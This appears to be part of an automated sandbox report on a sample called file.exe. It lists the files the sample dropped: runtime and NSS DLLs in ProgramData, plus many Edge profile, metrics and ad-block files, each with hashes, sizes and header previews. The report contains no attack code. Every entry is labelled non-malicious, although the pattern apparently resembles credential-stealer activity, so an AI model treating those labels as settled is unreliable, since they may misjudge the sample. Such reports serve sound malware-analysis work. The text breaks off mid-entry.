SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2305a08f-ae32-439f-bc7e-766ec52986c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.096130426542696
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxzi1zNt5HL9eKaNMSWuFUxUjKJDSgzMMd6qD47u3S:+/Ps+wsI7ynbL9/atKtSmd6qE7lFoC
MD5:	A85D968FF2B324CFD69B767F041BD8FF
SHA1:	0ADB7A420AA04156F0592BD9D114969BA43C28DA
SHA-256:	3B33AC6A2825F6DA12AED9D2CE8CD4BB65B0D2724F7D4F573E637E00AC6EABDB
SHA-512:	53B6E2C191CD01C22D2F9B91593E525BB8F677AB255A9ED3989440BD9CD9D466E5F2F01DE10CF1A0123CD9212811002506E00702DC85DD369389AFBC59E5B4B6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\445200ff-7ab7-4056-aae6-fcc9b4767ea4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46424
Entropy (8bit):	6.088075851543902
Encrypted:	false
SSDEEP:	768:N5MkbJrT8IeQc52KXDyi1zNt5HL9eKjto0zHCiUIQmxgpCiocJDSgzMMd6qD47uM:N5Mk1rT8HuKvL9/sIQ9FoctSmd6qE7x
MD5:	A83F8C9D6A6BE34AD02E14EFCE7434E1
SHA1:	CC4590674DA8B1E614EC9AD8760CE9EBA6C67FA8
SHA-256:	C45161C623C70866F22AF342D688101FC25C16BEC6F450992B0EC261B560CF3C
SHA-512:	7CCFEA1F159E0F35790B475D1851A77CE477A22B43B4634FD59808765C728396F437221A0D00349C8E9C433A02CF445DCCA1960F747986BB7E5F67C4E6069BB3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377055290671990","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44c020de-e6a7-4e41-80fb-95816e2c0ce0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6a636b6d-b1ac-4f3c-9d6b-0b0bdaf9c1bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46300
Entropy (8bit):	6.088351393289779
Encrypted:	false
SSDEEP:	768:N5MkbJrT8IeQc5dKXgyi1zNt5HL9eKa9to0zHCiUIQmxgpCiocJDSgzMMd6qD47x:N5Mk1rT8H1KcL9/aqIQ9FoctSmd6qE7x
MD5:	7356DD4C1C63E041F2FCBC04FF3737EC
SHA1:	21A18BD7C60472CB60684A1A3FFEDBF891271063
SHA-256:	8AF2A503BB46DA13CF0BF9733E40A218AA0D87763EA05B67D528EF9E719D87B2
SHA-512:	C652C7F74E05C5E9EA2DBD8C4514B413E0407E18DC3FD929F14E687CB56BCCEFB49AF3AD57F1C98C01F0D49553C0AC8E29D9A29D3CA0A4A3F5C091332AD7F6CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377055290671990","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44c020de-e6a7-4e41-80fb-95816e2c0ce0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e4e6dbef-20fe-443f-b6e5-522f2edac5ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67451939-1E34.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45158566104947095
Encrypted:	false
SSDEEP:	6144:13ozDVsCDrYzAoveHXsmy3q6JzvaHmQf:CnYzxvS8M
MD5:	DAD278CD148268D5801502CEF989B87B
SHA1:	B3A3D263266325746FEB932158F3BFC5FD272F2D
SHA-256:	E3F9013B776E2F485C23392FF6B203F9F5B9C447F0826B79BDC4263F8C81D741
SHA-512:	3FEAB48396999D15A84E31F8019AB782603564DD1AAB479839C0D8618ECFBDF150A6EAB86501C910627D012B841B4FAEC45FB84C4AD849A9438BFDDE7BC3088B
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".biqyts20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.............. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1ef023f0-df38-42b7-b95a-37a69fa01dda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16490), with no line terminators
Category:	dropped
Size (bytes):	16498
Entropy (8bit):	5.456022089184215
Encrypted:	false
SSDEEP:	384:stuPGQSu4gssHZCDUiFNt9S6+g+HWZabGRQwYA:skOXuv5CobGCRA
MD5:	C3C9A95E52B6B4A89571743E0B180B68
SHA1:	703801028DD50B2100C872801A28BB028BBAF088
SHA-256:	1B5A7057C875BF1642EA539F1934FD3AFE56AADEFC552CC7AB863FADB300CE06
SHA-512:	F4376D3C5FB8423D64E563F15688E9C65922F59B4AED9B991C4DFCC45413162D764866BDCECA03C76F48F1656384928C24A87761FB7BBCADD21B383A46E20B63
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2a80fca4-4602-4986-ac0c-a0e00ce61a20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\576b0d02-cbaa-4208-8565-ef959626ccf6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e533088-b1b2-48af-9888-85e7083ea70b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567768041433122
Encrypted:	false
SSDEEP:	768:55mMZAWOqW5wKYf4ud8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7XI52ThrwXJpftu1:5gQAzqWaKYfjdu1jae4gSvtW
MD5:	28449C87C74BD052B51DA2EC8E7C0358
SHA1:	44E58ACE65A33D42071E14232563D3AF2BBEAE73
SHA-256:	79D73611B8AC4A66FBFE7378DD841C66C2FF188C7DD590D354394ACBC872351F
SHA-512:	A0089B62778C1E62298A8C3E72A03EA7CD838E965AFBC2DB5004677D857F2069CEDFFFFEE0AA4A753FD017627B99A923E099B8F4EEC8E9382E4EE1C483CBBD61
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c393d9d-d50e-4b95-830f-bf53eb413cc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c6da5f6-fa79-4e04-a305-9913507f5c3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554871509898548
Encrypted:	false
SSDEEP:	768:55DMjAWMy7pLGLPMqW5wKYf43d8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP8XI52Yhi:5RiAnKcPMqWaKYfYdu1jad4DS2FM++tf
MD5:	6F20C3E332C849C80658753DFE24321E
